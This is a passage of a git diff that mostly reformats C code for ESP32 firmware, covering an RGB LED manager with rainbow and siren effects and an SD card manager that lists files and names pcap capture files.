rgb_manager_policesiren_effect(rgb_manager, settings_get_rgb_speed(&G_Settings)); - - vTaskDelay(pdMS_TO_TICKS(20)); - } - vTaskDelete(NULL); + vTaskDelay(pdMS_TO_TICKS(20)); + } + vTaskDelete(NULL); } +void police_task(void *pvParameter) { + RGBManager_t *rgb_manager = (RGBManager_t *)pvParameter; + while (1) { + rgb_manager_policesiren_effect(rgb_manager, + settings_get_rgb_speed(&G_Settings)); + + vTaskDelay(pdMS_TO_TICKS(20)); + } + vTaskDelete(NULL); +} void clamp_rgb(uint8_t *r, uint8_t *g, uint8_t *b) { - *r = (*r > 255) ? 255 : *r; - *g = (*g > 255) ? 255 : *g; - *b = (*b > 255) ? 255 : *b; + *r = (*r > 255) ? 255 : *r; + *g = (*g > 255) ? 255 : *g; + *b = (*b > 255) ? 255 : *b; } // Initialize the RGB LED manager -esp_err_t rgb_manager_init(RGBManager_t* rgb_manager, gpio_num_t pin, int num_leds, led_pixel_format_t pixel_format, led_model_t model, gpio_num_t red_pin, gpio_num_t green_pin, gpio_num_t blue_pin) { - if (!rgb_manager) return ESP_ERR_INVALID_ARG; - - rgb_manager->pin = pin; - rgb_manager->num_leds = num_leds; - rgb_manager->red_pin = red_pin; - rgb_manager->green_pin = green_pin; - rgb_manager->blue_pin = blue_pin; - - // Check if separate pins for R, G, B are provided - if (red_pin != GPIO_NUM_NC && green_pin != GPIO_NUM_NC && blue_pin != GPIO_NUM_NC) { - rgb_manager->is_separate_pins = true; - - // Configure the LEDC timer - ledc_timer_config_t ledc_timer = { - .speed_mode = LEDC_MODE, - .timer_num = LEDC_TIMER, - .duty_resolution = LEDC_DUTY_RES, // 8-bit duty resolution - .freq_hz = LEDC_FREQUENCY, // Frequency in Hertz - }; - ESP_ERROR_CHECK(ledc_timer_config(&ledc_timer)); - - // Configure the LEDC channels for Red, Green, Blue - ledc_channel_config_t ledc_channel_red = { - .channel = LEDC_CHANNEL_RED, - .duty = 255, - .gpio_num = red_pin, - .speed_mode = LEDC_MODE, - .hpoint = 0, - .timer_sel = LEDC_TIMER - }; - ESP_ERROR_CHECK(ledc_channel_config(&ledc_channel_red)); - - ledc_channel_config_t ledc_channel_green = { - .channel = LEDC_CHANNEL_GREEN, - .duty = 255, - .gpio_num = green_pin, - .speed_mode = LEDC_MODE, - .hpoint = 0, - .timer_sel = LEDC_TIMER - }; - ESP_ERROR_CHECK(ledc_channel_config(&ledc_channel_green)); - - ledc_channel_config_t ledc_channel_blue = { - .channel = LEDC_CHANNEL_BLUE, - .duty = 255, - .gpio_num = blue_pin, - .speed_mode = LEDC_MODE, - .hpoint = 0, - .timer_sel = LEDC_TIMER - }; - ESP_ERROR_CHECK(ledc_channel_config(&ledc_channel_blue)); - - rgb_manager_set_color(rgb_manager, 1, 0, 0, 0, false); - - printf("RGBManager initialized for separate R/G/B pins: %d, %d, %d\n", red_pin, green_pin, blue_pin); - return ESP_OK; - } else { - // Single pin for LED strip - rgb_manager->is_separate_pins = false; - - // Create LED strip configuration - led_strip_config_t strip_config = { - .strip_gpio_num = pin, - .max_leds = num_leds, - .led_pixel_format = pixel_format, - .led_model = model, - .flags.invert_out = 0 // Set to 1 if you need to invert the output signal - }; - - // Create RMT configuration for LED strip - led_strip_rmt_config_t rmt_config = { - .clk_src = RMT_CLK_SRC_DEFAULT, // Default RMT clock source - .resolution_hz = 10 * 1000 * 1000 // 10 MHz resolution - }; - - // Initialize the LED strip with both configurations - esp_err_t ret = led_strip_new_rmt_device(&strip_config, &rmt_config, &rgb_manager->strip); - if (ret != ESP_OK) { - printf("Failed to initialize the LED strip\n"); - return ret; - } +esp_err_t rgb_manager_init(RGBManager_t *rgb_manager, gpio_num_t pin, + int num_leds, led_pixel_format_t pixel_format, + led_model_t model, gpio_num_t red_pin, + gpio_num_t green_pin, gpio_num_t blue_pin) { + if (!rgb_manager) + return ESP_ERR_INVALID_ARG; + + rgb_manager->pin = pin; + rgb_manager->num_leds = num_leds; + rgb_manager->red_pin = red_pin; + rgb_manager->green_pin = green_pin; + rgb_manager->blue_pin = blue_pin; + + // Check if separate pins for R, G, B are provided + if (red_pin != GPIO_NUM_NC && green_pin != GPIO_NUM_NC && + blue_pin != GPIO_NUM_NC) { + rgb_manager->is_separate_pins = true; + + // Configure the LEDC timer + ledc_timer_config_t ledc_timer = { + .speed_mode = LEDC_MODE, + .timer_num = LEDC_TIMER, + .duty_resolution = LEDC_DUTY_RES, // 8-bit duty resolution + .freq_hz = LEDC_FREQUENCY, // Frequency in Hertz + }; + ESP_ERROR_CHECK(ledc_timer_config(&ledc_timer)); + + // Configure the LEDC channels for Red, Green, Blue + ledc_channel_config_t ledc_channel_red = {.channel = LEDC_CHANNEL_RED, + .duty = 255, + .gpio_num = red_pin, + .speed_mode = LEDC_MODE, + .hpoint = 0, + .timer_sel = LEDC_TIMER}; + ESP_ERROR_CHECK(ledc_channel_config(&ledc_channel_red)); + + ledc_channel_config_t ledc_channel_green = {.channel = LEDC_CHANNEL_GREEN, + .duty = 255, + .gpio_num = green_pin, + .speed_mode = LEDC_MODE, + .hpoint = 0, + .timer_sel = LEDC_TIMER}; + ESP_ERROR_CHECK(ledc_channel_config(&ledc_channel_green)); + + ledc_channel_config_t ledc_channel_blue = {.channel = LEDC_CHANNEL_BLUE, + .duty = 255, + .gpio_num = blue_pin, + .speed_mode = LEDC_MODE, + .hpoint = 0, + .timer_sel = LEDC_TIMER}; + ESP_ERROR_CHECK(ledc_channel_config(&ledc_channel_blue)); + + rgb_manager_set_color(rgb_manager, 1, 0, 0, 0, false); + + printf("RGBManager initialized for separate R/G/B pins: %d, %d, %d\n", + red_pin, green_pin, blue_pin); + return ESP_OK; + } else { + // Single pin for LED strip + rgb_manager->is_separate_pins = false; + + // Create LED strip configuration + led_strip_config_t strip_config = { + .strip_gpio_num = pin, + .max_leds = num_leds, + .led_pixel_format = pixel_format, + .led_model = model, + .flags.invert_out = + 0 // Set to 1 if you need to invert the output signal + }; + + // Create RMT configuration for LED strip + led_strip_rmt_config_t rmt_config = { + .clk_src = RMT_CLK_SRC_DEFAULT, // Default RMT clock source + .resolution_hz = 10 * 1000 * 1000 // 10 MHz resolution + }; + + // Initialize the LED strip with both configurations + esp_err_t ret = led_strip_new_rmt_device(&strip_config, &rmt_config, + &rgb_manager->strip); + if (ret != ESP_OK) { + printf("Failed to initialize the LED strip\n"); + return ret; + } - // Clear the strip (turn off all LEDs) - led_strip_clear(rgb_manager->strip); + // Clear the strip (turn off all LEDs) + led_strip_clear(rgb_manager->strip); - printf("RGBManager initialized for pin %d with %d LEDs\n", pin, num_leds); - return ESP_OK; - } + printf("RGBManager initialized for pin %d with %d LEDs\n", pin, num_leds); + return ESP_OK; + } } int get_pixel_index(int row, int column) { - // Map 2D grid to 1D index, adjust based on your wiring - return row * 8 + column; + // Map 2D grid to 1D index, adjust based on your wiring + return row * 8 + column; } void set_led_column(size_t column, uint8_t height) { - // Clear the column first - for (int row = 0; row < 8; ++row) { - led_strip_set_pixel(rgb_manager.strip, get_pixel_index(row, column), 0, 0, 0); - } + // Clear the column first + for (int row = 0; row < 8; ++row) { + led_strip_set_pixel(rgb_manager.strip, get_pixel_index(row, column), 0, 0, + 0); + } - uint8_t r = 255, g = 1, b = 1; + uint8_t r = 255, g = 1, b = 1; - scale_grb_by_brightness(&g,&r,&b, 0.1); + scale_grb_by_brightness(&g, &r, &b, 0.1); - // Light up the required number of LEDs with the selected primary color - for (int row = 0; row < height; ++row) { - led_strip_set_pixel(rgb_manager.strip, get_pixel_index(7 - row, column), r, g, b); - } + // Light up the required number of LEDs with the selected primary color + for (int row = 0; row < height; ++row) { + led_strip_set_pixel(rgb_manager.strip, get_pixel_index(7 - row, column), r, + g, b); + } } void set_led_square(uint8_t size, uint8_t red, uint8_t green, uint8_t blue) { - // Size is the 'thickness' of the square from the edges. - // Example: size=0 means the outermost 8x8 border, size=1 means one square inward (6x6), and so on. - - // Clear all LEDs first - for (int row = 0; row < 8; ++row) { - for (int col = 0; col < 8; ++col) { - led_strip_set_pixel(rgb_manager.strip, get_pixel_index(row, col), 0, 0, 0); - } + // Size is the 'thickness' of the square from the edges. + // Example: size=0 means the outermost 8x8 border, size=1 means one square + // inward (6x6), and so on. + + // Clear all LEDs first + for (int row = 0; row < 8; ++row) { + for (int col = 0; col < 8; ++col) { + led_strip_set_pixel(rgb_manager.strip, get_pixel_index(row, col), 0, 0, + 0); } + } + + // Draw square perimeter based on 'size' + int start = size; + int end = 7 - size; + + // Top and Bottom sides of the square + for (int col = start; col <= end; ++col) { + led_strip_set_pixel(rgb_manager.strip, get_pixel_index(start, col), red, + green, blue); // Top side + led_strip_set_pixel(rgb_manager.strip, get_pixel_index(end, col), red, + green, blue); // Bottom side + } + + // Left and Right sides of the square + for (int row = start + 1; row < end; + ++row) { // Avoid corners since they are already set + led_strip_set_pixel(rgb_manager.strip, get_pixel_index(row, start), red, + green, blue); // Left side + led_strip_set_pixel(rgb_manager.strip, get_pixel_index(row, end), red, + green, blue); // Right side + } +} - // Draw square perimeter based on 'size' - int start = size; - int end = 7 - size; - - // Top and Bottom sides of the square - for (int col = start; col <= end; ++col) { - led_strip_set_pixel(rgb_manager.strip, get_pixel_index(start, col), red, green, blue); // Top side - led_strip_set_pixel(rgb_manager.strip, get_pixel_index(end, col), red, green, blue); // Bottom side +void update_led_visualizer(uint8_t *amplitudes, size_t num_bars, + bool square_mode) { + if (square_mode) { + // Square visualizer effect + uint8_t amplitude = amplitudes[0]; // Use the first amplitude value + uint8_t square_size = + (amplitude * 4) / 255; // Map amplitude to square size (0 to 4) + + // Randomly select one primary color for the square + uint8_t red = 255, green = 0, blue = 0; + + // Draw the square based on the calculated size + set_led_square(square_size, red, green, blue); + } else { + // Original bar visualizer effect + for (size_t bar = 0; bar < num_bars; ++bar) { + uint8_t amplitude = amplitudes[bar]; + uint8_t num_pixels_to_light = + (amplitude * 8) / 255; // Scale to 8 pixels high + set_led_column(bar, num_pixels_to_light); } + } - // Left and Right sides of the square - for (int row = start + 1; row < end; ++row) { // Avoid corners since they are already set - led_strip_set_pixel(rgb_manager.strip, get_pixel_index(row, start), red, green, blue); // Left side - led_strip_set_pixel(rgb_manager.strip, get_pixel_index(row, end), red, green, blue); // Right side - } + // Refresh the LED strip + led_strip_refresh(rgb_manager.strip); } -void update_led_visualizer(uint8_t *amplitudes, size_t num_bars, bool square_mode) { - if (square_mode) { - // Square visualizer effect - uint8_t amplitude = amplitudes[0]; // Use the first amplitude value - uint8_t square_size = (amplitude * 4) / 255; // Map amplitude to square size (0 to 4) +void pulse_once(RGBManager_t *rgb_manager, uint8_t red, uint8_t green, + uint8_t blue) { + uint8_t brightness = 0; + int direction = 1; - // Randomly select one primary color for the square - uint8_t red = 255, green = 0, blue = 0; + while ((brightness <= 255 && direction > 0) || + (brightness > 0 && direction < 0)) { + float brightness_scale = brightness / 255.0; + uint8_t adj_red = red * brightness_scale; + uint8_t adj_green = green * brightness_scale; + uint8_t adj_blue = blue * brightness_scale; - // Draw the square based on the calculated size - set_led_square(square_size, red, green, blue); - } else { - // Original bar visualizer effect - for (size_t bar = 0; bar < num_bars; ++bar) { - uint8_t amplitude = amplitudes[bar]; - uint8_t num_pixels_to_light = (amplitude * 8) / 255; // Scale to 8 pixels high - set_led_column(bar, num_pixels_to_light); + // Handle multiple LEDs if present + if (rgb_manager->num_leds > 1) { + for (int i = 0; i < rgb_manager->num_leds; i++) { + esp_err_t ret = led_strip_set_pixel(rgb_manager->strip, i, adj_red, + adj_green, adj_blue); + if (ret != ESP_OK) { + printf("Failed to set LED %d color\n", i); + return; } + } + } else { + esp_err_t ret = led_strip_set_pixel(rgb_manager->strip, 0, adj_red, + adj_green, adj_blue); + if (ret != ESP_OK) { + printf("Failed to set LED color\n"); + return; + } } - // Refresh the LED strip - led_strip_refresh(rgb_manager.strip); -} - -void pulse_once(RGBManager_t* rgb_manager, uint8_t red, uint8_t green, uint8_t blue) { - uint8_t brightness = 0; - int direction = 1; - - while ((brightness <= 255 && direction > 0) || (brightness > 0 && direction < 0)) { - float brightness_scale = brightness / 255.0; - uint8_t adj_red = red * brightness_scale; - uint8_t adj_green = green * brightness_scale; - uint8_t adj_blue = blue * brightness_scale; - - // Handle multiple LEDs if present - if (rgb_manager->num_leds > 1) { - for (int i = 0; i < rgb_manager->num_leds; i++) { - esp_err_t ret = led_strip_set_pixel(rgb_manager->strip, i, adj_red, adj_green, adj_blue); - if (ret != ESP_OK) { - printf("Failed to set LED %d color\n", i); - return; - } - } - } else { - esp_err_t ret = led_strip_set_pixel(rgb_manager->strip, 0, adj_red, adj_green, adj_blue); - if (ret != ESP_OK) { - printf("Failed to set LED color\n"); - return; - } - } + led_strip_refresh(rgb_manager->strip); - led_strip_refresh(rgb_manager->strip); - - brightness += direction * 5; + brightness += direction * 5; - if (brightness >= 255) { - direction = -1; - } - - vTaskDelay(10 / portTICK_PERIOD_MS); + if (brightness >= 255) { + direction = -1; } - // Ensure LEDs are off at the end - for (int i = 0; i < rgb_manager->num_leds; i++) { - led_strip_set_pixel(rgb_manager->strip, i, 0, 0, 0); - } - led_strip_refresh(rgb_manager->strip); -} - + vTaskDelay(10 / portTICK_PERIOD_MS); + } + // Ensure LEDs are off at the end + for (int i = 0; i < rgb_manager->num_leds; i++) { + led_strip_set_pixel(rgb_manager->strip, i, 0, 0, 0); + } + led_strip_refresh(rgb_manager->strip); +} -esp_err_t rgb_manager_set_color(RGBManager_t* rgb_manager, int led_idx, uint8_t red, uint8_t green, uint8_t blue, bool pulse) { +esp_err_t rgb_manager_set_color(RGBManager_t *rgb_manager, int led_idx, + uint8_t red, uint8_t green, uint8_t blue, + bool pulse) { #ifdef CONFIG_LED_DATA_PIN - if (!rgb_manager) return ESP_ERR_INVALID_ARG; + if (!rgb_manager) + return ESP_ERR_INVALID_ARG; - - if (rgb_manager->num_leds > 1) { - for (int i = 0; i < rgb_manager->num_leds; i++) { - uint8_t r = red, g = green, b = blue; - scale_grb_by_brightness(&g, &r, &b, 0.3); - - esp_err_t ret = led_strip_set_pixel(rgb_manager->strip, i, r, g, b); - if (ret != ESP_OK) { - printf("Failed to set LED %d color\n", i); - return ret; - } - } - return led_strip_refresh(rgb_manager->strip); + if (rgb_manager->num_leds > 1) { + for (int i = 0; i < rgb_manager->num_leds; i++) { + uint8_t r = red, g = green, b = blue; + scale_grb_by_brightness(&g, &r, &b, 0.3); + + esp_err_t ret = led_strip_set_pixel(rgb_manager->strip, i, r, g, b); + if (ret != ESP_OK) { + printf("Failed to set LED %d color\n", i); + return ret; + } } + return led_strip_refresh(rgb_manager->strip); + } - - if (pulse) { - pulse_once(rgb_manager, red, green, blue); - return ESP_OK; - } else { - scale_grb_by_brightness(&green, &red, &blue, 0.3); - esp_err_t ret = led_strip_set_pixel(rgb_manager->strip, led_idx, red, green, blue); - if (ret != ESP_OK) { - printf("Failed to set LED color\n"); - return ret; - } - return led_strip_refresh(rgb_manager->strip); + if (pulse) { + pulse_once(rgb_manager, red, green, blue); + return ESP_OK; + } else { + scale_grb_by_brightness(&green, &red, &blue, 0.3); + esp_err_t ret = + led_strip_set_pixel(rgb_manager->strip, led_idx, red, green, blue); + if (ret != ESP_OK) { + printf("Failed to set LED color\n"); + return ret; } + return led_strip_refresh(rgb_manager->strip); + } #endif -#ifdef CONFIG_RED_RGB_PIN && CONFIG_GREEN_RGB_PIN && CONFIG_BLUE_RGB_PIN - scale_grb_by_brightness(&green, &red, &blue, -0.3); +#ifdef CONFIG_RED_RGB_PIN &&CONFIG_GREEN_RGB_PIN &&CONFIG_BLUE_RGB_PIN + scale_grb_by_brightness(&green, &red, &blue, -0.3); - uint8_t ired = (uint8_t)(255 - red); - uint8_t igreen = (uint8_t)(255 - green); - uint8_t iblue = (uint8_t)(255 - blue); + uint8_t ired = (uint8_t)(255 - red); + uint8_t igreen = (uint8_t)(255 - green); + uint8_t iblue = (uint8_t)(255 - blue); + if (ired == 255 && igreen == 255 && iblue == 255) { + ledc_stop(LEDC_MODE, LEDC_CHANNEL_RED, 1); + ledc_stop(LEDC_MODE, LEDC_CHANNEL_GREEN, 1); + ledc_stop(LEDC_MODE, LEDC_CHANNEL_BLUE, 1); + } else { + ESP_ERROR_CHECK(ledc_set_duty(LEDC_MODE, LEDC_CHANNEL_RED, ired)); + ESP_ERROR_CHECK(ledc_update_duty(LEDC_MODE, LEDC_CHANNEL_RED)); - if (ired == 255 && igreen == 255 && iblue == 255) { - ledc_stop(LEDC_MODE, LEDC_CHANNEL_RED, 1); - ledc_stop(LEDC_MODE, LEDC_CHANNEL_GREEN, 1); - ledc_stop(LEDC_MODE, LEDC_CHANNEL_BLUE, 1); - } else { - ESP_ERROR_CHECK(ledc_set_duty(LEDC_MODE, LEDC_CHANNEL_RED, ired)); - ESP_ERROR_CHECK(ledc_update_duty(LEDC_MODE, LEDC_CHANNEL_RED)); + ESP_ERROR_CHECK(ledc_set_duty(LEDC_MODE, LEDC_CHANNEL_GREEN, igreen)); + ESP_ERROR_CHECK(ledc_update_duty(LEDC_MODE, LEDC_CHANNEL_GREEN)); - ESP_ERROR_CHECK(ledc_set_duty(LEDC_MODE, LEDC_CHANNEL_GREEN, igreen)); - ESP_ERROR_CHECK(ledc_update_duty(LEDC_MODE, LEDC_CHANNEL_GREEN)); + ESP_ERROR_CHECK(ledc_set_duty(LEDC_MODE, LEDC_CHANNEL_BLUE, iblue)); + ESP_ERROR_CHECK(ledc_update_duty(LEDC_MODE, LEDC_CHANNEL_BLUE)); + } - ESP_ERROR_CHECK(ledc_set_duty(LEDC_MODE, LEDC_CHANNEL_BLUE, iblue)); - ESP_ERROR_CHECK(ledc_update_duty(LEDC_MODE, LEDC_CHANNEL_BLUE)); - } - - return ESP_OK; + return ESP_OK; #endif - return ESP_OK; + return ESP_OK; } -void rgb_manager_rainbow_effect_matrix(RGBManager_t* rgb_manager, int delay_ms) { - double hue = 0.0; +void rgb_manager_rainbow_effect_matrix(RGBManager_t *rgb_manager, + int delay_ms) { + double hue = 0.0; - while (1) { - for (int i = 0; i < rgb_manager->num_leds; i++) { - uint8_t red, green, blue; + while (1) { + for (int i = 0; i < rgb_manager->num_leds; i++) { + uint8_t red, green, blue; - double hue_offset = fmod(hue + i * (360.0 / rgb_manager->num_leds), 360.0); + double hue_offset = + fmod(hue + i * (360.0 / rgb_manager->num_leds), 360.0); + hsv hsv_color = {.h = hue_offset, .s = 1.0, .v = 0.5}; + rgb rgb_color = hsv2rgb(hsv_color); - hsv hsv_color = { .h = hue_offset, .s = 1.0, .v = 0.5 }; - rgb rgb_color = hsv2rgb(hsv_color); + red = (uint8_t)(fmin(rgb_color.r * 255, 120)); + green = (uint8_t)(fmin(rgb_color.g * 255, 120)); + blue = (uint8_t)(fmin(rgb_color.b * 255, 120)); - red = (uint8_t)(fmin(rgb_color.r * 255, 120)); - green = (uint8_t)(fmin(rgb_color.g * 255, 120)); - blue = (uint8_t)(fmin(rgb_color.b * 255, 120)); + clamp_rgb(&red, &green, &blue); - - clamp_rgb(&red, &green, &blue); + scale_grb_by_brightness(&green, &red, &blue, 0.3); - scale_grb_by_brightness(&green, &red, &blue, 0.3); + esp_err_t ret = + led_strip_set_pixel(rgb_manager->strip, i, red, green, blue); - esp_err_t ret = led_strip_set_pixel(rgb_manager->strip, i, red, green, blue); - - if (!rgb_manager->is_separate_pins) { - led_strip_refresh(rgb_manager->strip); - } - hue = fmod(hue + 0.5, 360.0); - } - - vTaskDelay(pdMS_TO_TICKS(delay_ms)); + if (!rgb_manager->is_separate_pins) { + led_strip_refresh(rgb_manager->strip); + } + hue = fmod(hue + 0.5, 360.0); } + + vTaskDelay(pdMS_TO_TICKS(delay_ms)); + } } // Rainbow effect -void rgb_manager_rainbow_effect(RGBManager_t* rgb_manager, int delay_ms) { - double hue = 0.0; +void rgb_manager_rainbow_effect(RGBManager_t *rgb_manager, int delay_ms) { + double hue = 0.0; - while (1) { - for (int i = 0; i < rgb_manager->num_leds; i++) { - uint8_t red, green, blue; + while (1) { + for (int i = 0; i < rgb_manager->num_leds; i++) { + uint8_t red, green, blue; - double hue_offset = fmod(hue + i * (360.0 / rgb_manager->num_leds), 360.0); + double hue_offset = + fmod(hue + i * (360.0 / rgb_manager->num_leds), 360.0); - hsv hsv_color = { .h = hue_offset, .s = 1.0, .v = 1.0 }; - rgb rgb_color = hsv2rgb(hsv_color); + hsv hsv_color = {.h = hue_offset, .s = 1.0, .v = 1.0}; + rgb rgb_color = hsv2rgb(hsv_color); - red = (uint8_t)(rgb_color.r * 255); - green = (uint8_t)(rgb_color.g * 255); - blue = (uint8_t)(rgb_color.b * 255); + red = (uint8_t)(rgb_color.r * 255); + green = (uint8_t)(rgb_color.g * 255); + blue = (uint8_t)(rgb_color.b * 255); - clamp_rgb(&red, &green, &blue); + clamp_rgb(&red, &green, &blue); - if (rgb_manager->is_separate_pins) { - uint8_t ired = (uint8_t)(255 - red); - uint8_t igreen = (uint8_t)(255 - green); - uint8_t iblue = (uint8_t)(255 - blue); - rgb_manager_set_color(rgb_manager, i, ired, igreen, iblue, false); - } else { - rgb_manager_set_color(rgb_manager, rgb_manager->num_leds == 1 ? 0 : i, red, green, blue, false); - } - } + if (rgb_manager->is_separate_pins) { + uint8_t ired = (uint8_t)(255 - red); + uint8_t igreen = (uint8_t)(255 - green); + uint8_t iblue = (uint8_t)(255 - blue); + rgb_manager_set_color(rgb_manager, i, ired, igreen, iblue, false); + } else { + rgb_manager_set_color(rgb_manager, rgb_manager->num_leds == 1 ? 0 : i, + red, green, blue, false); + } + } - if (!rgb_manager->is_separate_pins) { - led_strip_refresh(rgb_manager->strip); - } + if (!rgb_manager->is_separate_pins) { + led_strip_refresh(rgb_manager->strip); + } - hue = fmod(hue + 1, 360.0); + hue = fmod(hue + 1, 360.0); - vTaskDelay(pdMS_TO_TICKS(delay_ms)); - } + vTaskDelay(pdMS_TO_TICKS(delay_ms)); + } } void rgb_manager_policesiren_effect(RGBManager_t *rgb_manager, int delay_ms) { - uint8_t brightness; - bool increasing = true; - bool is_red = true; - - while (1) { - for (int pulse_step = 0; pulse_step <= 255; pulse_step += 5) { - if (increasing) { - brightness = pulse_step; - } else { - brightness = 255 - pulse_step; - } - - - if (is_red) { - rgb_manager_set_color(rgb_manager, 0, brightness, 0, 0, false); - } else { - rgb_manager_set_color(rgb_manager, 0, 0, 0, brightness, false); - } - - - led_strip_refresh(rgb_manager->strip); - - - vTaskDelay(pdMS_TO_TICKS(delay_ms)); - } + uint8_t brightness; + bool increasing = true; + bool is_red = true; + + while (1) { + for (int pulse_step = 0; pulse_step <= 255; pulse_step += 5) { + if (increasing) { + brightness = pulse_step; + } else { + brightness = 255 - pulse_step; + } + + if (is_red) { + rgb_manager_set_color(rgb_manager, 0, brightness, 0, 0, false); + } else { + rgb_manager_set_color(rgb_manager, 0, 0, 0, brightness, false); + } + + led_strip_refresh(rgb_manager->strip); + + vTaskDelay(pdMS_TO_TICKS(delay_ms)); + } - - increasing = !increasing; + increasing = !increasing; - - if (!increasing) { - is_red = !is_red; - } + if (!increasing) { + is_red = !is_red; } + } } // Deinitialize the RGB LED manager -esp_err_t rgb_manager_deinit(RGBManager_t* rgb_manager) { - if (!rgb_manager) return ESP_ERR_INVALID_ARG; - - if (rgb_manager->is_separate_pins) { - gpio_set_level(rgb_manager->red_pin, 0); - gpio_set_level(rgb_manager->green_pin, 0); - gpio_set_level(rgb_manager->blue_pin, 0); - printf("RGBManager deinitialized (separate pins)\n"); - } else { - // Clear the LED strip and deinitialize - led_strip_clear(rgb_manager->strip); - printf("RGBManager deinitialized (LED strip)\n"); - } - - return ESP_OK; +esp_err_t rgb_manager_deinit(RGBManager_t *rgb_manager) { + if (!rgb_manager) + return ESP_ERR_INVALID_ARG; + + if (rgb_manager->is_separate_pins) { + gpio_set_level(rgb_manager->red_pin, 0); + gpio_set_level(rgb_manager->green_pin, 0); + gpio_set_level(rgb_manager->blue_pin, 0); + printf("RGBManager deinitialized (separate pins)\n"); + } else { + // Clear the LED strip and deinitialize + led_strip_clear(rgb_manager->strip); + printf("RGBManager deinitialized (LED strip)\n"); + } + + return ESP_OK; } \ No newline at end of file diff --git a/main/managers/sd_card_manager.c b/main/managers/sd_card_manager.c index c2a343ee..e62114f5 100644 --- a/main/managers/sd_card_manager.c +++ b/main/managers/sd_card_manager.c @@ -1,24 +1,23 @@ -#include -#include -#include -#include -#include "esp_log.h" -#include "esp_vfs_fat.h" -#include -#include "driver/sdmmc_host.h" -#include "driver/sdmmc_defs.h" -#include "driver/sdmmc_types.h" -#include "driver/i2c.h" #include "managers/sd_card_manager.h" +#include "core/utils.h" #include "driver/gpio.h" +#include "driver/i2c.h" +#include "driver/sdmmc_defs.h" +#include "driver/sdmmc_host.h" +#include "driver/sdmmc_types.h" #include "esp_heap_trace.h" -#include "core/utils.h" -#include "vendor/pcap.h" +#include "esp_log.h" +#include "esp_vfs_fat.h" #include "vendor/drivers/CH422G.h" +#include "vendor/pcap.h" +#include +#include +#include +#include +#include static const char *SD_TAG = "SD_Card_Manager"; - sd_card_manager_t sd_card_manager = { // Change this based on board config .card = NULL, .is_initialized = false, @@ -36,537 +35,528 @@ sd_card_manager_t sd_card_manager = { // Change this based on board config #endif }; -static void get_next_pcap_file_name(char *file_name_buffer, const char* base_name) { - int next_index = get_next_pcap_file_index(base_name); - snprintf(file_name_buffer, 128, "/mnt/ghostesp/pcaps/%s_%d.pcap", base_name, next_index); +static void get_next_pcap_file_name(char *file_name_buffer, + const char *base_name) { + int next_index = get_next_pcap_file_index(base_name); + snprintf(file_name_buffer, 128, "/mnt/ghostesp/pcaps/%s_%d.pcap", base_name, + next_index); } void list_files_recursive(const char *dirname, int level) { - DIR *dir = opendir(dirname); - if (!dir) { - printf("Failed to open directory: %s\n", dirname); - return; - } - - struct dirent *entry; - while ((entry = readdir(dir)) != NULL) { - if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) { - continue; - } - char path[512]; - int written = snprintf(path, sizeof(path), "%s/%s", dirname, entry->d_name); - - if (written < 0 || written >= sizeof(path)) { - printf("Path was truncated: %s/%s\n", dirname, entry->d_name); - continue; - } - - struct stat statbuf; - if (stat(path, &statbuf) == 0) { - for (int i = 0; i < level; i++) { - printf(" "); - } - - if (S_ISDIR(statbuf.st_mode)) { - printf("[Dir] %s/\n", entry->d_name); - list_files_recursive(path, level + 1); - } else { - printf("[File] %s\n", entry->d_name); - } - } - } - closedir(dir); + DIR *dir = opendir(dirname); + if (!dir) { + printf("Failed to open directory: %s\n", dirname); + return; + } + + struct dirent *entry; + while ((entry = readdir(dir)) != NULL) { + if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) { + continue; + } + char path[512]; + int written = snprintf(path, sizeof(path), "%s/%s", dirname, entry->d_name); + + if (written < 0 || written >= sizeof(path)) { + printf("Path was truncated: %s/%s\n", dirname, entry->d_name); + continue; + } + + struct stat statbuf; + if (stat(path, &statbuf) == 0) { + for (int i = 0; i < level; i++) { + printf(" "); + } + + if (S_ISDIR(statbuf.st_mode)) { + printf("[Dir] %s/\n", entry->d_name); + list_files_recursive(path, level + 1); + } else { + printf("[File] %s\n", entry->d_name); + } + } + } + closedir(dir); } - -static void sdmmc_card_print_info(const sdmmc_card_t* card) { - if (card == NULL) { - printf("Card is NULL\n"); - return; - } - - printf("Name: %s\n", card->cid.name); - printf("Type: %s\n", (card->ocr & SD_OCR_SDHC_CAP) ? "SDHC/SDXC" : "SDSC"); - printf("Capacity: %lluMB\n", ((uint64_t)card->csd.capacity) * card->csd.sector_size / (1024 * 1024)); - printf("Sector size: %dB\n", card->csd.sector_size); - printf("Speed: %s\n", (card->csd.tr_speed > 25000000) ? "high speed" : "default speed"); - - if (card->is_mem) { - printf("Card is memory card\n"); - printf("CSD version: %d\n", card->csd.csd_ver); - printf("Manufacture ID: %02x\n", card->cid.mfg_id); - printf("Serial number: %08x\n", card->cid.serial); - } else { - printf("Card is not a memory card\n"); - } +static void sdmmc_card_print_info(const sdmmc_card_t *card) { + if (card == NULL) { + printf("Card is NULL\n"); + return; + } + + printf("Name: %s\n", card->cid.name); + printf("Type: %s\n", (card->ocr & SD_OCR_SDHC_CAP) ? "SDHC/SDXC" : "SDSC"); + printf("Capacity: %lluMB\n", ((uint64_t)card->csd.capacity) * + card->csd.sector_size / (1024 * 1024)); + printf("Sector size: %dB\n", card->csd.sector_size); + printf("Speed: %s\n", + (card->csd.tr_speed > 25000000) ? "high speed" : "default speed"); + + if (card->is_mem) { + printf("Card is memory card\n"); + printf("CSD version: %d\n", card->csd.csd_ver); + printf("Manufacture ID: %02x\n", card->cid.mfg_id); + printf("Serial number: %08x\n", card->cid.serial); + } else { + printf("Card is not a memory card\n"); + } } esp_err_t sd_card_init(void) { - esp_err_t ret; + esp_err_t ret; #ifdef CONFIG_USING_MMC_1_BIT - printf("Initializing SD card in SDMMC mode (1-bit)...\n"); + printf("Initializing SD card in SDMMC mode (1-bit)...\n"); - sdmmc_host_t host = SDMMC_HOST_DEFAULT(); - host.flags = SDMMC_HOST_FLAG_1BIT; + sdmmc_host_t host = SDMMC_HOST_DEFAULT(); + host.flags = SDMMC_HOST_FLAG_1BIT; - sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT(); - slot_config.width = 1; + sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT(); + slot_config.width = 1; - slot_config.clk = CONFIG_SD_MMC_CLK; - slot_config.cmd = CONFIG_SD_MMC_CMD; - slot_config.d0 = CONFIG_SD_MMC_D0; + slot_config.clk = CONFIG_SD_MMC_CLK; + slot_config.cmd = 